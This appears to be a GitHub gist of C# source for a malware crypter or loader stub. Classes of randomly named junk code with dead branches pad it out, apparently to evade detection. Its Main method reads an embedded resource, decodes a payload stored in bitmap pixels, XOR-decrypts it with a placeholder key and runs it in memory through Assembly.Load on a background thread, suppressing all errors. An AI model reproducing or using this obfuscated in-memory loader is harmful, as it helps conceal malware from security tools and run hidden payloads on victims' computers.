Skip to content

Instantly share code, notes, and snippets.

@jdferrell3
Created June 6, 2018 16:37
Show Gist options
  • Save jdferrell3/cb21341931024b76f186997cc82ba574 to your computer and use it in GitHub Desktop.
Save jdferrell3/cb21341931024b76f186997cc82ba574 to your computer and use it in GitHub Desktop.
using System;
using System.IO;
using System.Text;
using System.Reflection;
using System.Threading;
using System.Runtime.InteropServices;
using System.Drawing;
namespace MGcwWxsmmgNZ
{
public class iDpx{public void rBNf(){
short Hmyu = -16102;
byte[] HmyuHmyu = System.IO.File.ReadAllBytes("Hmyu");float CuOC = 3.542451E-09F;
short ewvS = 11725;
byte[] ewvSewvS = System.IO.File.ReadAllBytes("ewvS");ulong kmbB = 12828674044665159;
}public void ycGE(){
int PZwL = 423985;
while(PZwL == 423985){
PZwL = PZwL + 257401;
}long VgKh = 19218510140759077;
int SwkR = 64110877;
if(SwkR == 107279){
SwkR = SwkR + 246115;
}string wIGD = "LofU";
Console.WriteLine(wIGD);
}public void TKCC(){
long PERS = 60260719399073098;
short yXtq = 17492;
byte[] yXtqyXtq = System.IO.File.ReadAllBytes("yXtq");ulong CcTv = 71965138397434404;
sbyte wkfh = 115;
Console.ReadLine();
}public void RiFm(){
ulong NkOX = 24825584198908618;
long TkoZ = 13001158966541197;
double qSKT = -1.314487E-20;
if(qSKT == -9.898047E-16){
qSKT = Math.Pow(double.NegativeInfinity, 2);
Console.ReadLine();
}ulong VZVw = 53257167937373526;
}
} public class PtOn{public void TjZb(){
float RcuR = 8.53107E-33F;
float fggO = -3697806F;
int keeE = 2680;
while(keeE == 2680){
keeE = keeE + 508734;
}long isAC = 36975979942863523;
}public void iwRl(){
ushort Ngjf = 44776;
short KShQ = -28010;
byte[] KShQKShQ = System.IO.File.ReadAllBytes("KShQ");double Aqbb = 1.736854E-14;
Aqbb = Math.Exp(2);
Console.ReadLine();short bTWQ = 18757;
byte[] bTWQbTWQ = System.IO.File.ReadAllBytes("bTWQ");
}public void gEmP(){
float zMyl = 6.711507E-27F;
uint lgwR = 66916374;
float EpwK = 1.23265E-24F;
sbyte PmNi = 31;
Console.ReadLine();
}public void PeBS(){
double GGjn = -1477494;
if(GGjn == -3.495049E-35){
GGjn = Math.Truncate(GGjn);
try{
int KLxVE = 2863799;
if(KLxVE == 43484){
KLxVE++;
}else{
KLxVE--;
}
}catch(Exception ex){
}
}short frGr = 4065;
byte[] frGrfrGr = System.IO.File.ReadAllBytes("frGr");uint frrA = 428104587;
long DnKn = 50103976534160489;
}
} public class qYgA{public void ZtOH(){
byte UOIi = 195;
Environment.Exit(0);string BrqK = "PsRU";
Console.WriteLine(BrqK);int uJsX = 57232418;
while(uJsX == 57232418){
uJsX = uJsX + 909043;
}ulong hqIU = 42508666007386270;
}public void nyVS(){
short YoUA = 8969;
byte[] YoUAYoUA = System.IO.File.ReadAllBytes("YoUA");uint ftoi = 15617;
ulong DVoa = 55795348902487201;
long yiyl = 6031344212700456;
}public void Uvfo(){
short TaWW = -29997;
byte[] TaWWTaWW = System.IO.File.ReadAllBytes("TaWW");long mmqB = 41539754652817065;
string ETkR = "liSQ";
Console.WriteLine(ETkR);int pemH = 9320;
if(pemH == 916113){
pemH = 455083;
}
}public void qHSm(){
short IXFR = -4149;
byte[] IXFRIXFR = System.IO.File.ReadAllBytes("IXFR");sbyte nlNF = -102;
Console.ReadLine();byte iLpR = 150;
Environment.Exit(0);ushort GBVD = 2875;
}
} public class BABX{public void XpLS(){
float UVrb = -4.116789E+10F;
float PyIw = 1.567657E+29F;
ulong HElS = 71175744766185339;
int Mwwc = 2698;
while(Mwwc == 2698){
Mwwc += 643326;
}
}public void Waqu(){
long ezvj = 3127027186272826;
long lUNv = 71750973728185001;
ulong powI = 85730912378832612;
ushort Oxid = 11605;
}public void Njzp(){
short LoJD = -25002;
byte[] LoJDLoJD = System.IO.File.ReadAllBytes("LoJD");short NQpE = 28260;
byte[] NQpENQpE = System.IO.File.ReadAllBytes("NQpE");int ZyTD = 2047;
while(ZyTD == 2047){
ZyTD += 697144;
}float kCJl = -7.943821E+08F;
}public void YFcT(){
string rRJr = "RomJ";
Console.WriteLine(rRJr);ushort Rswt = 63310;
short QHQU = -14787;
byte[] QHQUQHQU = System.IO.File.ReadAllBytes("QHQU");double vBsD = 2.490473E+30;
double MzCnxhOfEwbZjmJ = Math.Log(1000, 10);
vBsD = MzCnxhOfEwbZjmJ;
try{
int OyJiyMvy = 1474204;
if(OyJiyMvy == 15180){
OyJiyMvy++;
}else{
OyJiyMvy--;
}
}catch(Exception ex){
}
}
}
class Program
{
static string kuQogXrTcJGEH = "#pass#";
private static byte[] qAqQHwJ(byte[] bytes)
{
byte[] byteArray = Encoding.Unicode.GetBytes(kuQogXrTcJGEH);
for (int i = 0; i < bytes.Length; i++)
{
bytes[i] ^= byteArray[i % 16];
}
return bytes;
}
private static byte[] ConvertFromBmp(System.Drawing.Bitmap b)
{
int l = b.Width;
int n = l * l * 4;
byte[] buff = new byte[n];
int k = 0;
for (int x = 0; x < l; x++)
{
for (int y = 0; y < l; y++)
{
Buffer.BlockCopy(BitConverter.GetBytes(b.GetPixel(x, y).ToArgb()), 0, buff, k, 4);
k += 4;
}
}
int len = BitConverter.ToInt32(buff, 0);
byte[] f = new byte[len];
Buffer.BlockCopy(buff, 4, f, 0, f.Length);
return f;
}
static byte[] CtNmG;
public static void rYARgCibTpkrykbr()
{
Assembly.Load(CtNmG).EntryPoint.Invoke(null, new object[] { new string[] { } });
}
[DllImport("kernel32.dll")]
static extern IntPtr FindResource(IntPtr hModule, IntPtr lpName, IntPtr lpType);
[DllImport("kernel32.dll", SetLastError=true)]
static extern uint SizeofResource(IntPtr hModule, IntPtr hResInfo);
[DllImport("kernel32.dll", SetLastError=true)]
static extern IntPtr LoadResource(IntPtr hModule, IntPtr hResInfo);
[DllImport("kernel32.dll")]
static extern IntPtr LockResource(IntPtr hResData);
public static Bitmap Byte2Image(byte[] img)
{
using (var stream = new MemoryStream(img))
{
return new Bitmap(stream);
}
}
static void Main()
{
try
{
IntPtr fResource = FindResource(new IntPtr(0), new IntPtr(130), new IntPtr(23));
uint sResource = SizeofResource(new IntPtr(0), fResource);
IntPtr lResource = LoadResource(new IntPtr(0), fResource);
IntPtr dResource = LockResource(lResource);
CtNmG = new byte[sResource];
System.Runtime.InteropServices.Marshal.Copy(dResource, CtNmG, 0, System.Convert.ToInt32(sResource));
CtNmG = qAqQHwJ(ConvertFromBmp(Byte2Image(CtNmG)));
System.Threading.Thread thr = new System.Threading.Thread(rYARgCibTpkrykbr);
thr.Start();
}
catch
{
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment